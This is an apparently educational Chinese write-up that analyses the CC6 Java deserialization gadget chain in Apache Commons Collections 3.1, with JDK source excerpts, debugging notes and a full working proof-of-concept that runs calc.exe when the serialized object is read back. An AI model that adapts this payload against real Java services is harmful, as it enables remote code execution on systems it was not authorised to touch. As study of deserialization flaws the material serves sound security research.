这条链子依旧是在commons-collections3.1中利用的(commons-collections4中的LazyMap没有decorate这个方法了

利用链查找分析

  1. /*
  2. Gadget chain:
  3. java.io.ObjectInputStream.readObject()
  4. java.util.HashMap.readObject()
  5. java.util.HashMap.put()
  6. java.util.HashMap.hash()
  7. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  8. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  9. org.apache.commons.collections.map.LazyMap.get()
  10. org.apache.commons.collections.functors.ChainedTransformer.transform()
  11. org.apache.commons.collections.functors.InvokerTransformer.transform()
  12. java.lang.reflect.Method.invoke()
  13. java.lang.Runtime.exec()
  14. by @matthias_kaiser
  15. */

这是ysoserial中的CC6的链子,先将整条链子梳理一遍,注意在查找的时候适当下断点方便后面调试。

找到切入点,从LazyMap后面开始都是跟CC1一样的,就是transform()方法,从这边可以找一下LazyMap中调用transform()方法的位置,有一个get()方法调用了同名方法,然后可以看到代码逻辑大概是判断get传过来的key是否为空,如果为空那就进行if判断,调用transform()方法

🍘CC6反序列化分析 - 图1

继续查找调用了get()方法的地方,这里调用比较简单,只要调用getValue()就自动返回调用get()方法

🍘CC6反序列化分析 - 图2

继续向上找调用getValue()的地方,hashCode()方法中进行 了调用。

🍘CC6反序列化分析 - 图3

继续查找调用hashCode()的地方

  1. static final int hash(Object key) {
  2. int h;
  3. return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  4. }

这里return这边操作了一个三元运算符,如果key为空,则返回0,如果不为空,则对key进行操作(将hashCode右移16位并与原来的值异或)不纠结为什么异或操作,只需要看这里执行了hashCode()这个方法。

继续向上找调用了hash方法的位置,在java.util.HashMap.readObject()最后有调用hash方法。

  1. private void readObject(java.io.ObjectInputStream s)
  2. throws IOException, ClassNotFoundException {
  3. // Read in the threshold (ignored), loadfactor, and any hidden stuff
  4. s.defaultReadObject();
  5. reinitialize();
  6. if (loadFactor <= 0 || Float.isNaN(loadFactor))
  7. throw new InvalidObjectException("Illegal load factor: " +
  8. loadFactor);
  9. s.readInt(); // Read and ignore number of buckets
  10. int mappings = s.readInt(); // Read number of mappings (size)
  11. if (mappings < 0)
  12. throw new InvalidObjectException("Illegal mappings count: " +
  13. mappings);
  14. else if (mappings > 0) { // (if zero, use defaults)
  15. // Size the table using given load factor only if within
  16. // range of 0.25...4.0
  17. float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
  18. float fc = (float)mappings / lf + 1.0f;
  19. int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
  20. DEFAULT_INITIAL_CAPACITY :
  21. (fc >= MAXIMUM_CAPACITY) ?
  22. MAXIMUM_CAPACITY :
  23. tableSizeFor((int)fc));
  24. float ft = (float)cap * lf;
  25. threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
  26. (int)ft : Integer.MAX_VALUE);
  27. // Check Map.Entry[].class since it's the nearest public type to
  28. // what we're actually creating.
  29. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
  30. @SuppressWarnings({"rawtypes","unchecked"})
  31. Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
  32. table = tab;
  33. // Read the keys and values, and put the mappings in the HashMap
  34. for (int i = 0; i < mappings; i++) {
  35. @SuppressWarnings("unchecked")
  36. K key = (K) s.readObject();
  37. @SuppressWarnings("unchecked")
  38. V value = (V) s.readObject();
  39. putVal(hash(key), key, value, false, false);
  40. }
  41. }
  42. }

需要注意的是,HashMap类中的put()方法也调用了hash(),要注意这里不能在序列化时调用到payload,否则会在序列化时就被执行。具体分析参考问题分析1

  1. public V put(K key, V value) {
  2. return putVal(hash(key), key, value, false, true);
  3. }

到此整条链子是找完了,断点也差不多都打上了

然后就可以编写POC进行调试了,这里POC来源是bilibili:白日梦组长

POC分析

  1. package com.dmsj.cc;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. public class CC6Test {
  13. public static void main(String[] args) throws Exception{
  14. Transformer[] transformers = new Transformer[] {
  15. new ConstantTransformer(Runtime.class),
  16. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
  17. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
  18. new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
  19. };
  20. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  21. HashMap<Object, Object> map1 = new HashMap<Object, Object>();
  22. // 修改 lazyMap 使链失效,不触发 Calc
  23. Map<Object, Object> lazyMap = LazyMap.decorate(map1, new ConstantTransformer(1));
  24. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");
  25. HashMap<Object, Object> map2 = new HashMap<Object, Object>();
  26. // 会提前调用 hash(key),导致 Clac
  27. map2.put(tiedMapEntry, "2");
  28. // 删除 put 时添加的 key
  29. lazyMap.remove("1");
  30. // 调用 put 方法后将 lazyMap 修改回正常可用的
  31. Class c = LazyMap.class;
  32. Field factoryField = c.getDeclaredField("factory");
  33. factoryField.setAccessible(true);
  34. factoryField.set(lazyMap, chainedTransformer);
  35. //serialize(map2);
  36. unserialize("ser.bin");
  37. }
  38. public static void serialize(Object obj) throws IOException {
  39. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  40. oos.writeObject(obj);
  41. }
  42. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  43. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
  44. Object obj = ois.readObject();
  45. return obj;
  46. }
  47. }

HashMap类中发现重写的readObject方法

🍘CC6反序列化分析 - 图4

在这个方法的最后HashMap的键值(key)作为一个参数来调用hash方法

  1. // Read the keys and values, and put the mappings in the HashMap
  2. for (int i = 0; i < mappings; i++) {
  3. @SuppressWarnings("unchecked")
  4. K key = (K) s.readObject();
  5. @SuppressWarnings("unchecked")
  6. V value = (V) s.readObject();
  7. putVal(hash(key), key, value, false, false);
  8. }

跟进这个方法,调用了hashCode方法计算键的散列值(HashMap 的键必须是唯一的)

🍘CC6反序列化分析 - 图5

然后查找利用了同名方法的类,在TiedMapEntry中存在这样一个方法。

🍘CC6反序列化分析 - 图6

它调用了getValue方法,跟进查看,还调用了map.get方法

🍘CC6反序列化分析 - 图7

然后发现存在一个构造方法是赋值给map和key的,也就是说map和key参数是可控的

所以可以通过实例化一个LazyMap对象,去调用LazyMapget方法

调试分析

开启debug,走第一步,看LazyMap.decorate()处理map1对象和实例化的ConstantTransformer对象(参数为1)

🍘CC6反序列化分析 - 图8

下一步,实例化TiedMapEntry对象,map为上面的lazyMap,key为自定义的1

进入hashCode()继而进入了getValue()

🍘CC6反序列化分析 - 图9

此时key=1,进入get方法

🍘CC6反序列化分析 - 图10

因为key是存在的且不为false,所以不进入判断,直接return map.get.key

🍘CC6反序列化分析 - 图11

然后将key=1移除掉,也就是lazyMap.remove的处理结果,此时key不存在。

然后继续进行,将chainedTransformer赋给lazyMap,使用了暴力反射(因为LazyMap中的factory是protected修饰的)最后进行序列化就可以了。成功序列化后进行反序列化,就成功完成命令执行。

🍘CC6反序列化分析 - 图12

问题分析

序列化时执行命令

先看效果

🍘CC6反序列化分析 - 图13

分析一下,为什么这里在序列化时就执行了命令?

关键是在

  1. Map<Object, Object> lazyMap = LazyMap.decorate(map1,chainedTransformer);

如果这样处理,在一开始将chainedTransformer传入lazyMap中,在序列化时,map2.put(tiedMapEntry, "2");put方法会直接调用hash(key)然后继续触发利用链,知道执行命令。

  1. public V put(K key, V value) {
  2. return putVal(hash(key), key, value, false, true);
  3. }

而如果在put之前,把chainedTransformer换成一个任意值,在put之后再使用反射得到LazyMap的factory方法,再将原来的可执行命令的chainedTransformer值给到lazyMap再继续序列化操作。

反序列化时执行命令失败

  1. public Object get(Object key) {
  2. // create value for key if key is not currently in the map
  3. if (map.containsKey(key) == false) {
  4. Object value = factory.transform(key);
  5. map.put(key, value);
  6. return value;
  7. }
  8. return map.get(key);
  9. }

主要问题在这里,因为前面为了序列化时不执行命令,所以提前设置了lazyMap的key值,也就是new ConstantTransformer(1)(或者任意值)也就是1,因为

  1. public ConstantTransformer(Object constantToReturn) {
  2. super();
  3. iConstant = constantToReturn;
  4. }

直接返回,也就相当于是1

走到get方法去调用transform方法时,会先进行一个判断,也就是key存在不存在。存在的话直接return ,不存在时才可以进入调用factory.transform(key)所以在这里传入了任意值他就没办法进入if判断中,所以需要在走过HashMap.put()之后,移除掉key,

  1. lazyMap.remove("1");

再进行反序列化时可以进入判断,并调用transform()